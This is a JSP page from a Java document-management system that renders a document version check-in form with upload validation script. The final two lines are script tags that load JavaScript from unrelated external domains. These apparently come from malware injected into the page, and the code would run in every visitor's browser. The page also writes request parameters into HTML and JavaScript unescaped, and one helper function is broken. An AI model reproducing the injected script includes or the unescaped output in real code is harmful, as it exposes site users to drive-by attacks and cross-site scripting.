<%
/*
 * @(#)EditDmsCheckin.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditDmsCheckin.jsp

  This class is used to control the version of document

    @author           Tony Chen
    @company          DCIVision Limited
    @creation date    16/11/2004
    @version          $Revision: 1.5.4.9 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsCheckinForm" scope="request" class="com.dcivision.dms.web.MaintDmsVersionForm"/>



<!-- Static Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/PermissionSetup.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/AnchorPosition.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ColorPicker.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PopupWindow.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLibHiddenForm.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/NewCalendar.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Tree.js" charset="UTF-8" type="text/javascript"></script>
<!-- Static Javascript End -->

<script language="javascript">
g_curr_function_code = "<%=request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)%>";
</script>
<!-- Dynamic Javascript End -->

<script language="Javascript">
<!--
PreloadImages('<html:img src='Uploading.gif' pathOnly='true'/>');
var flowWindow = null;
var clickedFlag = false;
var targetAction = '';
var g_blnCheckUnload =true;

function closeFlowWindow() {
  if (popupWin) {
    popupWin.close();
  }
}

function getFileName(fullFileName){
  var filename;
  if (fullFilename.indexOf("\\")) {
    filename = filename.substring( filename.lastIndexOf("\\")+1,
      filename.length);
  }
  return filename;
}

window.onbeforeunload = function() { 
   if(g_blnCheckUnload){
     return("if close the window,the auto task will complete with document no update version!");
   }
}

-->
</script>
<layout:popupTitle titleKey ="audit.label.access_type_CI"/>
<html:form enctype="multipart/form-data" action="workflow/MaintDmsCheckin" onsubmit="return(false)">
<%
    final Integer rootID = TextUtility.parseIntegerObj(request.getParameter("rootID") != null ? request.getParameter("rootID") : maintDmsCheckinForm.getRootID());
    final Integer parentID = TextUtility.parseIntegerObj(request.getParameter("parentID") != null ? request.getParameter("parentID") : maintDmsCheckinForm.getParentID());
    final Integer documentID = TextUtility.parseIntegerObj(request.getParameter("documentID") != null ? request.getParameter("documentID") : maintDmsCheckinForm.getDocumentID());

    String checkinType = request.getParameter("checkinType") != null ? request.getParameter("checkinType") : maintDmsCheckinForm.getCheckinType();

    LogFactory.getLog(this.getClass()).debug("root = " + rootID + " parent + " + parentID + " documentID = " + documentID);
    Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
    DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
    DmsDocument dmsDocument = (DmsDocument) docRetrievalManager.getDocument(documentID);



  String directURL = request.getParameter("directURL") != null ? request.getParameter("directURL") : maintDmsCheckinForm.getDirectURL();



%>

<script language ='Javascript'>
<!--

function OpCheckin() { 
 <%if(!DmsOperationConstant.NO_UPDATE_CHECKIN.equals(checkinType)){%>
 //get the checkin file name without the drive info, only the file name and ext
 var checkinFileName = document.maintDmsCheckinForm.uploadFile.value;
 if (checkinFileName.indexOf("\\")) {
    checkinFileName = checkinFileName.substring( checkinFileName.lastIndexOf("\\")+1,
      checkinFileName.length);
  }

  //validate file name and ext.
  var checkType = document.maintDmsCheckinForm.checkinType;

  if ( checkType != '<%=DmsOperationConstant.NO_UPDATE_CHECKIN %>'){
    if(document.maintDmsCheckinForm.uploadFile.value == null || document.maintDmsCheckinForm.uploadFile.value == '')
    {
       alert("<bean:message key='dms.message.choose_file'/>");
       return (false);
    }
    if ('<%=dmsDocument.getDocumentName()%>'!=checkinFileName){
       if (!confirm("<bean:message key='dms.message.confirm.checkin_fileName'/>")){
         return (false);
       }
    }
  }
  <%}%>
  g_blnCheckUnload = false;
  OpenCenteredPopup('<%=request.getContextPath()%>/jsp/dms/FlowWindow.jsp', 'DCIVisionFlowWindow', 200, 100, 'toolbar=no,menubar=no,status=no,resizable=no,alwaysRaised=yes,dependent=yes');
  document.maintDmsCheckinForm.navMode.value="N";
  document.maintDmsCheckinForm.submit();
  
  
  
  return false;
}
-->
</script>

<html:hidden property='opMode'/>
<html:hidden property='navMode' value='N'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<html:hidden property='documentID' value='<%=documentID.toString()%>'/>
<html:hidden property='parentID' value='<%=parentID.toString()%>'/>
<html:hidden property='rootID' value='<%=rootID.toString()%>'/>
<html:hidden property="directURL" value='<%=directURL%>'/>
<html:hidden property='checkinType' value='<%=checkinType%>'/>


<div class="tabContainer">
<div class="tabContent" style="display:block;">
<table width="780">
  <!-- Section Header -->
  <layout:sectionHeader name="dms.label.dms_checkin_info" mandatory="true"/>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='dms.label.document_name'/>:&nbsp;</td>
    <td class="formFieldSmall"><%=dmsDocument.getDocumentName()%></td>
  </tr>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='dms.label.check_in_type'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <%if(DmsOperationConstant.CREATE_NEW_CHECKIN.equals(checkinType)){%>
      <bean:message key="dms.label.ver_major_update"/>
      <%}else if(DmsOperationConstant.CREATE_MINOR_CHECKIN.equals(checkinType)){%>
      <bean:message key="dms.label.ver_minor_update"/>
      <%}else {%>
      <bean:message key="dms.label.ver_no_update"/>
      <%}%>

    </td>
  </tr>

  <tr>
    <td class="formLabelSmall"><bean:message key="dms.label.ver_file"/>:&nbsp;</td>
    <td class="formFieldSmall"><html:file property="uploadFile" size="25" disabled='<%=DmsOperationConstant.NO_UPDATE_CHECKIN.equals(checkinType)%>' styleClass="form-style-2-textfield"/></td>
  </tr>

  <%   // falcon_add_5820
  	if (Utility.isEmpty(maintDmsCheckinForm.getReferenceNo())) {
  		maintDmsCheckinForm.setReferenceNo(dmsDocument.getReferenceNo());
  	}
  	if (Utility.isEmpty(maintDmsCheckinForm.getDescription())) {
  		maintDmsCheckinForm.setDescription(dmsDocument.getDescription());
  	}
  %>
  <tr>
    <td class="formLabelSmall"><bean:message key="dms.label.reference_no"/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property="referenceNo" size="20" maxlength="30" disabled='<%=DmsOperationConstant.NO_UPDATE_CHECKIN.equals(checkinType)%>' styleClass="form-style-2-auto-textfield"/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key="dms.label.description"/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:textarea property='description' cols='40' rows='5' textlimit='255' disabled='<%=DmsOperationConstant.NO_UPDATE_CHECKIN.equals(checkinType)%>' styleClass="form-style-2-auto-textarea"/>
    </td>
  </tr>

  <!--TODO: Workflow implementation-->
  <tr>
    <td colspan="2"><div id='workflow' style='visibility=hidden'></div></td>
  </tr>
  <!--TODO: END-->
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  </table>
  </div>
  </div>
  
<div id="bottomButtonArea">
  <div id="buttonSection">
  <html:standardButton label="audit.label.access_type_CI" onClick="return OpCheckin()"/>      
  </div>
</div>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>